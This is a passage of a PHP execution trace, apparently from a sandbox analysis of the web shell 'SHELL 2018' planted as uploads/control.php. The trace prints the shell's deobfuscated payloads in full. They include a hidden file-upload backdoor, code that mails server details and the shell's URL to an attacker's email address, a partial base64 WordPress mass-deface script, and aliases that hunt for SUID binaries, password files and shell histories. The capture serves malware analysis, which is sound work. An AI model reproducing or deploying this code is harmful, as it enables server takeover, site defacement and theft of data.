25maWcsIkRCX1BBU1NXT1JEJywgJyIsIiciKTsKCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfTkFNRScsICciLCInIik7CgkJCQkkZGJwcmVmaXggPSBhbWJpbGthdGEoJGNvbmZpZywidGFibGVfcHJlZml4ICA9ICciLCInIik7CgkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJwb3N0cyI7CgkJCQkkb3B0aW9uID0gJGRicHJlZml4LiJvcHRpb25zIjsKCQkJCSRjb25uID0gbXlzcWxfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicGFzcyk7CgkJCQkkZGIgPSBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7CgkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgSUQgQVNDIik7CgkJCQkkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEpOwoJCQkJJGlkID0gJHJlc3VsdFtJRF07CgkJCQkkcTIgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkb3B0aW9uIE9SREVSIEJZIG9wdGlvbl9pZCBBU0MiKTsKCQkJCSRyZXN1bHQyID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEyKTsKCQkJCSR0YXJnZXQgPSAkcmVzdWx0MltvcHRpb25fdmFsdWVdOwoJCQkJJHVwZGF0ZSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHByZWZpeCBTRVQgcG9zdF90aXRsZT0nJHRpdGxlJyxwb3N0X2NvbnRlbnQ9JyRjb250ZW50Jyxwb3N0X25hbWU9JyRwb3N0bmFtZScscG9zdF9zdGF0dXM9J3B1Ymxpc2gnLGNvbW1lbnRfc3RhdHVzPSdvcGVuJyxwaW5nX3N0YXR1cz0nb3BlbicscG9zdF90eXBlPSdwb3N0Jyxjb21tZW50X2NvdW50PScxJyBXSEVSRSBpZD0nJGlkJyIpOwoJCQkJJHVwZGF0ZSAuPSBteXNxbF9xdWVyeSgiVVBEQVRFICRvcHRpb24gU0VUIG9wdGlvbl92YWx1ZT0nJHRpdGxlJyBXSEVSRSBvcHRpb25fbmFtZT0nYmxvZ25hbWUnIE9SIG9wdGlvbl9uYW1lPSdibG9nZGVzY3JpcHRpb24nIik7CgkJCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyc+IjsKCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsKCQkJCQllY2hvICJVUkw6IDxmb250IGNvbG9yPXdoaXRlPkVycm9yLCBJIGNhbid0IHRha2UgdGhlIGRvbWFpbiBuYW1lPC9mb250PiAtPiAiOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICJVUkw6IDxhIGhyZWY9JyR0YXJnZXQvP3A9JGlkJyB0YXJnZXQ9J19ibGFuayc+JHRhcmdldC8/cD0kaWQ8L2E+IC0+ICI7CgkJCQl9CgkJCQlpZighJHVwZGF0ZSBPUiAhJGNvbm4gT1IgISRkYikgewoJCQkJCWVjaG8gIjxmb250IGNvbG9yPXdoaXRlPk15U1FMIEVycm9yOiAiLm15c3FsX2Vycm9yKCkuIjwvZm9udD48YnI+IjsKCQkJCX0gZWxzZSB7CgkJCQkJZWNobyAiPGZvbnQgY29sb3I9b3JhbmdlPkNoYW5nZWQgU3VjY2VlZC48L2ZvbnQ+PGJyPiI7CgkJCQl9CgkJCQllY2hvICI8L2Rpdj4iOwoJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOwoJCQl9CgkJfQo/Pgo=";\r\n\t$mass = fopen($file_mass, "w");\r\n\tfwrite($mass, base64_decode($mass_script));\r\n\techo "<br><center> <iframe src=\'hex_tools/title.php\' width=\'950\' height=\'600\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\n// xd\r\nif( empty($_POST[\'a\']) )\r\n\tif(isset($▚) && function_exists(\'action\' . $▚))\r\n\t\t$_POST[\'a\'] = $▚;\r\n\telse\r\n\t\t$_POST[\'a\'] = \'FilesMan\';\r\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\r\n\tcall_user_func(\'action\' . $_POST[\'a\']);\r\n?>'	/var/www/html/uploads/control.php	5	0
3	14	0	0.012909	1247016	ini_set	0		/var/www/html/uploads/control.php(5) : eval()'d code	2	2	'error_log'	NULL
3	14	1	0.012934	1247088
3	14	R			''
3	15	0	0.012950	1247016	ini_set	0		/var/www/html/uploads/control.php(5) : eval()'d code	3	2	'log_errors'	0
3	15	1	0.012966	1247088
3	15	R			'1'
3	16	0	0.012980	1247016	ini_set	0		/var/www/html/uploads/control.php(5) : eval()'d code	4	2	'max_execution_time'	0
3	16	1	0.012998	1247120
3	16	R			'30'
3	17	0	0.013012	1247016	ini_set	0		/var/www/html/uploads/control.php(5) : eval()'d code	5	2	'output_buffering'	0
3	17	1	0.013027	1247088
3	17	R			FALSE
3	18	0	0.013041	1247016	ini_set	0		/var/www/html/uploads/control.php(5) : eval()'d code	6	2	'display_errors'	0
3	18	1	0.013055	1247088
3	18	R			''
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	7	$▘ = TRUE
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	8	$▜ = 'UTF-8'
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	9	$▚ = 'FilesMan'
3	19	0	0.013107	1247016	md5	0		/var/www/html/uploads/control.php(5) : eval()'d code	10	1	'python-requests/2.25.1'
3	19	1	0.013124	1247112
3	19	R			'ecd862b3d0595af0a0b03f511e800938'
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	10	$▙ = 'ecd862b3d0595af0a0b03f511e800938'
3	20	0	0.013156	1247080	md5	0		/var/www/html/uploads/control.php(5) : eval()'d code	11	1	'localhost'
3	20	1	0.013169	1247176
3	20	R			'421aa90e079fa326b6494f812ad13e79'
3	21	0	0.013187	1247080	md5	0		/var/www/html/uploads/control.php(5) : eval()'d code	12	1	'localhost'
3	21	1	0.013201	1247176
3	21	R			'421aa90e079fa326b6494f812ad13e79'
3	22	0	0.013215	1247144	prototype	1		/var/www/html/uploads/control.php(5) : eval()'d code	12	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	362	_COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
4	23	0	0.013249	1247520	setcookie	0		/var/www/html/uploads/control.php(5) : eval()'d code	363	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
4	23	1	0.013270	1247720
4	23	R			TRUE
3	22	1	0.013284	1247656
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	16	_POST['charset'] = 'UTF-8'
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	24	$hex = 'SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ=='
3	24	0	0.013329	1248032	base64_decode	0		/var/www/html/uploads/control.php(5) : eval()'d code	25	1	'SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ=='
3	24	1	0.013353	1248512
3	24	R			'H�DX�0\024���\027�C�\nα�R�a{�*��D�Хӑ�)\t&��a��qB��~�{��&i��e\022\025/�wP��c�q\033Ǹ�\006gp8(3һ�\035l{�K�+\017���zm�K���S\036�A����OHe�3�IVR�\032vl�\022�1[�Moq;�4N�|�Tˋ��>m+�J�\016�M��04<�\026�n%�Q�\030)��=_�\023$\000y��UyU�R��ANv��-�w焒&���1K��c��\'c��\024&�4������zѧ�3�ҋ�t��i<K���l�\024Y����!�-ަB�6_0���y����$8�c�\001'
3	25	0	0.013396	1248480	str_rot13	0		/var/www/html/uploads/control.php(5) : eval()'d code	25	1	'H�DX�0\024���\027�C�\nα�R�a{�*��D�Хӑ�)\t&��a��qB��~�{��&i��e\022\025/�wP��c�q\033Ǹ�\006gp8(3һ�\035l{�K�+\017���zm�K���S\036�A����OHe�3�IVR�\032vl�\022�1[�Moq;�4N�|�Tˋ��>m+�J�\016�M��04<�\026�n%�Q�\030)��=_�\023$\000y��UyU�R��ANv��-�w焒&���1K��c��\'c��\024&�4������zѧ�3�ҋ�t��i<K���l�\024Y����!�-ަB�6_0���y����$8�c�\001'
3	25	1	0.013434	1248832
3	25	R			'U�QK�0\024���\027�P�\nα�E�n{�*��Q�Хӑ�)\t&��n��dO��~�{��&v��r\022\025/�jC��p�d\033Ǹ�\006tc8(3һ�\035y{�X�+\017���mz�X���F\036�N����BUr�3�VIE�\032iy�\022�1[�Zbd;�4A�|�Gˋ��>z+�W�\016�Z��04<�\026�a%�D�\030)��=_�\023$\000l��HlH�E��NAi��-�j焒&���1X��p��\'p��\024&�4������mѧ�3�ҋ�g��v<X���y�\024L����!�-ަO�6_0���l����$8�p�\001'
3	26	0	0.013474	1248352	gzinflate	0		/var/www/html/uploads/control.php(5) : eval()'d code	25	1	'U�QK�0\024���\027�P�\nα�E�n{�*��Q�Хӑ�)\t&��n��dO��~�{��&v��r\022\025/�jC��p�d\033Ǹ�\006tc8(3һ�\035y{�X�+\017���mz�X���F\036�N����BUr�3�VIE�\032iy�\022�1[�Zbd;�4A�|�Gˋ��>z+�W�\016�Z��04<�\026�a%�D�\030)��=_�\023$\000l��HlH�E��NAi��-�j焒&���1X��p��\'p��\024&�4������mѧ�3�ҋ�g��v<X���y�\024L����!�-ަO�6_0���l����$8�p�\001'
3	26	1	0.013522	1248832
3	26	R			'vs(vffrg($_TRG["ynjyk"])) \t{  rpub \'<ugzy><obql><sbez zrgubq=CBFG rapglcr="zhygvcneg/sbez-qngn" npgvba=""><vachg glcr="svyr" anzr="ynjyk"><vachg glcr=fhozvg inyhr="Hc"></sbez></obql></ugzy>\';$ynjyk = @$_SVYRF["ynjyk"];   vs ($ynjyk["anzr"] != \'\') {  $shyycngu = $_ERDHRFG["cngu"] . $ynjyk["anzr"];  vs (zbir_hcybnqrq_svyr($ynjyk[\'gzc_anzr\'], $shyycngu)) {     rpub "<u1><n uers=\'$shyycngu\'>BX-Pyvpx urer!</n></u1>"; }} }'
3	27	0	0.013553	1248480	str_rot13	0		/var/www/html/uploads/control.php(5) : eval()'d code	25	1	'vs(vffrg($_TRG["ynjyk"])) \t{  rpub \'<ugzy><obql><sbez zrgubq=CBFG rapglcr="zhygvcneg/sbez-qngn" npgvba=""><vachg glcr="svyr" anzr="ynjyk"><vachg glcr=fhozvg inyhr="Hc"></sbez></obql></ugzy>\';$ynjyk = @$_SVYRF["ynjyk"];   vs ($ynjyk["anzr"] != \'\') {  $shyycngu = $_ERDHRFG["cngu"] . $ynjyk["anzr"];  vs (zbir_hcybnqrq_svyr($ynjyk[\'gzc_anzr\'], $shyycngu)) {     rpub "<u1><n uers=\'$shyycngu\'>BX-Pyvpx urer!</n></u1>"; }} }'
3	27	1	0.013584	1248960
3	27	R			'if(isset($_GET["lawlx"])) \t{  echo \'<html><body><form method=POST enctype="multipart/form-data" action=""><input type="file" name="lawlx"><input type=submit value="Up"></form></body></html>\';$lawlx = @$_FILES["lawlx"];   if ($lawlx["name"] != \'\') {  $fullpath = $_REQUEST["path"] . $lawlx["name"];  if (move_uploaded_file($lawlx[\'tmp_name\'], $fullpath)) {     echo "<h1><a href=\'$fullpath\'>OK-Click here!</a></h1>"; }} }'
3	28	0	0.013647	1251168	eval	1	'if(isset($_GET["lawlx"])) \t{  echo \'<html><body><form method=POST enctype="multipart/form-data" action=""><input type="file" name="lawlx"><input type=submit value="Up"></form></body></html>\';$lawlx = @$_FILES["lawlx"];   if ($lawlx["name"] != \'\') {  $fullpath = $_REQUEST["path"] . $lawlx["name"];  if (move_uploaded_file($lawlx[\'tmp_name\'], $fullpath)) {     echo "<h1><a href=\'$fullpath\'>OK-Click here!</a></h1>"; }} }'	/var/www/html/uploads/control.php(5) : eval()'d code	25	0
3	28	1	0.013676	1251168
3	29	0	0.013684	1248592	ini_set	0		/var/www/html/uploads/control.php(5) : eval()'d code	28	2	'error_log'	NULL
3	29	1	0.013700	1248664
3	29	R			''
3	30	0	0.013713	1248592	ini_set	0		/var/www/html/uploads/control.php(5) : eval()'d code	29	2	'log_errors'	0
3	30	1	0.013728	1248664
3	30	R			'0'
3	31	0	0.013741	1248592	ini_set	0		/var/www/html/uploads/control.php(5) : eval()'d code	30	2	'max_execution_time'	0
3	31	1	0.013756	1248664
3	31	R			'0'
3	32	0	0.013769	1248592	set_time_limit	0		/var/www/html/uploads/control.php(5) : eval()'d code	31	1	0
3	32	1	0.013784	1248656
3	32	R			FALSE
3	33	0	0.013797	1248624	version_compare	0		/var/www/html/uploads/control.php(5) : eval()'d code	32	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.3.0'	'<'
3	33	1	0.013815	1248720
3	33	R			FALSE
3	34	0	0.013828	1248624	define	0		/var/www/html/uploads/control.php(5) : eval()'d code	35	2	'VERSION'	'SHELL 2018'
3	34	1	0.013844	1248728
3	34	R			TRUE
3	35	0	0.013858	1248656	get_magic_quotes_gpc	0		/var/www/html/uploads/control.php(5) : eval()'d code	36	0
3	35	1	0.013871	1248656
3	35	R			FALSE
3	36	0	0.013885	1248656	md5	0		/var/www/html/uploads/control.php(5) : eval()'d code	50	1	'localhost'
3	36	1	0.013898	1248752
3	36	R			'421aa90e079fa326b6494f812ad13e79'
3	37	0	0.013914	1248656	md5	0		/var/www/html/uploads/control.php(5) : eval()'d code	51	1	'localhost'
3	37	1	0.013927	1248752
3	37	R			'421aa90e079fa326b6494f812ad13e79'
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	51	_COOKIE['421aa90e079fa326b6494f812ad13e79ajax'] = TRUE
3	38	0	0.013959	1248720	substr	0		/var/www/html/uploads/control.php(5) : eval()'d code	62	3	'Linux'	0	3
3	38	1	0.013974	1248848
3	38	R			'Lin'
3	39	0	0.013987	1248752	strtolower	0		/var/www/html/uploads/control.php(5) : eval()'d code	62	1	'Lin'
3	39	1	0.014001	1248816
3	39	R			'lin'
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	65	$os = 'nix'
3	40	0	0.014026	1248720	ini_get	0		/var/www/html/uploads/control.php(5) : eval()'d code	66	1	'safe_mode'
3	40	1	0.014041	1248752
3	40	R			FALSE
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	66	$safe_mode = FALSE
3	41	0	0.014066	1248720	error_reporting	0		/var/www/html/uploads/control.php(5) : eval()'d code	68	1	0
3	41	1	0.014079	1248760
3	41	R			22527
3	42	0	0.014134	1248720	ini_get	0		/var/www/html/uploads/control.php(5) : eval()'d code	69	1	'disable_functions'
3	42	1	0.014149	1249200
3	42	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	69	$disable_functions = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3	43	0	0.014197	1249168	getcwd	0		/var/www/html/uploads/control.php(5) : eval()'d code	70	0
3	43	1	0.014214	1249216
3	43	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	70	$home_cwd = '/var/www/html/uploads'
3	44	0	0.014241	1249216	getcwd	0		/var/www/html/uploads/control.php(5) : eval()'d code	73	0
3	44	1	0.014258	1249264
3	44	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	73	$cwd = '/var/www/html/uploads'
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	79	$cwd .= '/'
3	45	0	0.014298	1249264	function_exists	0		/var/www/html/uploads/control.php(5) : eval()'d code	266	1	'posix_getpwuid'
3	45	1	0.014313	1249304
3	45	R			TRUE
3	46	0	0.014326	1249264	function_exists	0		/var/www/html/uploads/control.php(5) : eval()'d code	267	1	'posix_getgrgid'
3	46	1	0.014340	1249304
3	46	R			TRUE
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	345	$xd = 'fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H'
3	47	0	0.014375	1249264	base64_decode	0		/var/www/html/uploads/control.php(5) : eval()'d code	346	1	'fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H'
3	47	1	0.014399	1249680
3	47	R			'}�bx�0\020��\017�\035�Ec\003�p�Qٟ�4��̖\ni�\022%Sdq�0�駷��@J_帻��\005\\�[k\002T�]��n8||�J�Kb�����\r��wrZ��$�5/��86�R\b��0\002\a<cf\032��d�՛�Ϸ,�L\036\022�m�̙�9?�^\rF\024\033\024\020\025��\027|���$��Jd�Q���{�?+�H����}Qn�!�u-�\f/x^X�\034\r\006�w�(x\025� \r�m�g��ċ�EƂ<%�<�&���T�����~\f/�\a'
3	48	0	0.014439	1249648	str_rot13	0		/var/www/html/uploads/control.php(5) : eval()'d code	346	1	'}�bx�0\020��\017�\035�Ec\003�p�Qٟ�4��̖\ni�\022%Sdq�0�駷��@J_帻��\005\\�[k\002T�]��n8||�J�Kb�����\r��wrZ��$�5/��86�R\b��0\002\a<cf\032��d�՛�Ϸ,�L\036\022�m�̙�9?�^\rF\024\033\024\020\025��\027|���$��Jd�Q���{�?+�H����}Qn�!�u-�\f/x^X�\034\r\006�w�(x\025� \r�m�g��ċ�EƂ<%�<�&���T�����~\f/�\a'
3	48	1	0.014475	1249936
3	48	R			'}�ok�0\020��\017�\035�Rp\003�c�Dٟ�4��̖\nv�\022%Fqd�0�駷��@W_帻��\005\\�[x\002G�]��a8||�W�Xo�����\r��jeM��$�5/��86�E\b��0\002\a<ps\032��q�՛�Ϸ,�Y\036\022�z�̙�9?�^\rS\024\033\024\020\025��\027|���$��Wq�D���{�?+�U����}Da�!�h-�\f/k^K�\034\r\006�j�(k\025� \r�z�t��ċ�RƂ<%�<�&���G�����~\f/�\a'
3	49	0	0.014525	1249520	gzinflate	0		/var/www/html/uploads/control.php(5) : eval()'d code	346	1	'}�ok�0\020��\017�\035�Rp\003�c�Dٟ�4��̖\nv�\022%Fqd�0�駷��@W_帻��\005\\�[x\002G�]��a8||�W�Xo�����\r��jeM��$�5/��86�E\b��0\002\a<ps\032��q�՛�Ϸ,�Y\036\022�z�̙�9?�^\rS\024\033\024\020\025��\027|���$��Wq�D���{�?+�U����}Da�!�h-�\f/k^K�\034\r\006�j�(k\025� \r�z�t��ċ�RƂ<%�<�&���G�����~\f/�\a'
3	49	1	0.014621	1250064
3	49	R			' $urk = "unpxre0882@tznvy.pbz";\r\n $onfyvx = "Sbhaq";\r\n $kq = "Svyr Cngu : " . $_FREIRE[\'QBPHZRAG_EBBG\'] . "\\e\\a";\r\n $kq.= "Freire Nqzva : " . $_FREIRE[\'FREIRE_NQZVA\'] . "\\e\\a";\r\n $kq.= "Freire Bcrengvat Flfgrz : " . $_FREIRE[\'FREIRE_FBSGJNER\'] . "\\e\\a";\r\n $kq.= "Furyy Yvax : uggc://" . $_FREIRE[\'FREIRE_ANZR\'] . $_FREIRE[\'CUC_FRYS\'] . "\\e\\a";\r\n $kq.= "Fvgr : " . $_FREIRE[\'UGGC_UBFG\'] . "\\e\\a";\r\n znvy($urk, $onfyvx, $kq); ?>'
3	50	0	0.014652	1249776	str_rot13	0		/var/www/html/uploads/control.php(5) : eval()'d code	346	1	' $urk = "unpxre0882@tznvy.pbz";\r\n $onfyvx = "Sbhaq";\r\n $kq = "Svyr Cngu : " . $_FREIRE[\'QBPHZRAG_EBBG\'] . "\\e\\a";\r\n $kq.= "Freire Nqzva : " . $_FREIRE[\'FREIRE_NQZVA\'] . "\\e\\a";\r\n $kq.= "Freire Bcrengvat Flfgrz : " . $_FREIRE[\'FREIRE_FBSGJNER\'] . "\\e\\a";\r\n $kq.= "Furyy Yvax : uggc://" . $_FREIRE[\'FREIRE_ANZR\'] . $_FREIRE[\'CUC_FRYS\'] . "\\e\\a";\r\n $kq.= "Fvgr : " . $_FREIRE[\'UGGC_UBFG\'] . "\\e\\a";\r\n znvy($urk, $onfyvx, $kq); ?>'
3	50	1	0.014680	1250320
3	50	R			' $hex = "hacker0882@gmail.com";\r\n $baslik = "Found";\r\n $xd = "File Path : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n $xd.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n $xd.= "Server Operating System : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n $xd.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n $xd.= "Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\n mail($hex, $baslik, $xd); ?>'
3	51	0	0.014737	1252720	eval	1	' $hex = "hacker0882@gmail.com";\r\n $baslik = "Found";\r\n $xd = "File Path : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n $xd.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n $xd.= "Server Operating System : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n $xd.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n $xd.= "Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\n mail($hex, $baslik, $xd); ?>'	/var/www/html/uploads/control.php(5) : eval()'d code	346	0
3		A						/var/www/html/uploads/control.php(5) : eval()'d code(346) : eval()'d code	1	$hex = 'hacker0882@gmail.com'
3		A						/var/www/html/uploads/control.php(5) : eval()'d code(346) : eval()'d code	2	$baslik = 'Found'
3		A						/var/www/html/uploads/control.php(5) : eval()'d code(346) : eval()'d code	3	$xd = 'File Path : /var/www/html\r\n'
3		A						/var/www/html/uploads/control.php(5) : eval()'d code(346) : eval()'d code	4	$xd .= 'Server Admin : webmaster@localhost\r\n'
3		A						/var/www/html/uploads/control.php(5) : eval()'d code(346) : eval()'d code	5	$xd .= 'Server Operating System : Apache/2.4.52 (Ubuntu)\r\n'
3		A						/var/www/html/uploads/control.php(5) : eval()'d code(346) : eval()'d code	6	$xd .= 'Shell Link : http://localhost/uploads/control.php\r\n'
3		A						/var/www/html/uploads/control.php(5) : eval()'d code(346) : eval()'d code	7	$xd .= 'Site : localhost\r\n'
4	52	0	0.014865	1252944	mail	0		/var/www/html/uploads/control.php(5) : eval()'d code(346) : eval()'d code	8	3	'hacker0882@gmail.com'	'Found'	'File Path : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer Operating System : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/control.php\r\nSite : localhost\r\n'
4	52	1	0.015883	1253040
4	52	R			FALSE
3	51	1	0.015918	1252944
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	615	$aliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find all suid files' => 'find / -type f -perm -04000 -ls', 'find suid files in current dir' => 'find . -type f -perm -04000 -ls', 'find all sgid files' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php files' => 'find / -type f -name config.inc.php', 'find config* files' => 'find / -type f -name "config*"', 'find config* files in current dir' => 'find . -type f -name "config*"', 'find all writable folders and files' => 'find / -perm -2 -ls', 'find all writable folders and files in current dir' => 'find . -perm -2 -ls', 'find all service.pwd files' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find all .htpasswd files' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find all .bash_history files' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf files' => 'locate httpd.conf', 'locate vhosts.conf files' => 'locate vhosts.conf', 'locate proftpd.conf files' => 'locate proftpd.conf', 'locate psybnc.conf files' => 'locate psybnc.conf', 'locate my.conf files' => 'locate my.conf', 'locate admin.php files' => 'locate admin.php', 'locate cfg.php files' => 'locate cfg.php', 'locate conf.php files' => 'locate conf.php', 'locate config.dat files' => 'locate config.dat', 'locate config.php files' => 'locate config.php', 'locate config.inc files' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php files' => 'locate config.default.php', 'locate config* files ' => 'locate config', 'locate .conf files' => 'locate \'.conf\'', 'locate .pwd files' => 'locate \'.pwd\'', 'locate .sql files' => 'locate \'.sql\'', 'locate .htpasswd files' => 'locate \'.htpasswd\'', 'locate .bash_history files' => 'locate \'.bash_history\'', 'locate .mysql_history files' => 'locate \'.mysql_history\'', 'locate .fetchmailrc files' => 'locate \'.fetchmailrc\'', 'locate backup files' => 'locate backup', 'locate dump files' => 'locate dump', 'locate priv files' => 'locate priv']
3	53	0	0.016011	1249816	function_exists	0		/var/www/html/uploads/control.php(5) : eval()'d code	1114	1	'actionFilesMan'
3	53	1	0.016029	1249856
3	53	R			TRUE
2		A						/var/www/html/uploads/control.php(5) : eval()'d code	1115	_POST['a'] = 'FilesMan'
3	54	0	0.016060	1249816	function_exists	0		/var/www/html/uploads/control.php(5) : eval()'d code	1118	1	'actionFilesMan'
3	54	1	0.016075	1249856
3	54	R			TRUE
3	55	0	0.016091	1249776	actionFilesMan	1		/var/www/html/uploads/control.php(5) : eval()'d code	1119	0
4	56	0	0.016108	1249776	hardHeader	1		/var/www/html/uploads/control.php(5) : eval()'d code	862	0
5	57	0	0.016129	1252312	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	122	1	'/var/www/html/uploads/'
5	57	1	0.016148	1252504
5	57	R			'/var/www/html/uploads/'
5	58	0	0.016163	1252312	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	123	1	'FilesMan'
5	58	1	0.016178	1252504
5	58	R			'FilesMan'
5	59	0	0.016193	1252824	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	124	1	'UTF-8'
5	59	1	0.016208	1253016
5	59	R			'UTF-8'
5	60	0	0.016224	1252824	strpos	0		/var/www/html/uploads/control.php(5) : eval()'d code	125	2	NULL	'\n'
5	60	1	0.016240	1252896
5	60	R			FALSE
5	61	0	0.016255	1252824	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	125	2	NULL	3
5	61	1	0.016269	1253056
5	61	R			''
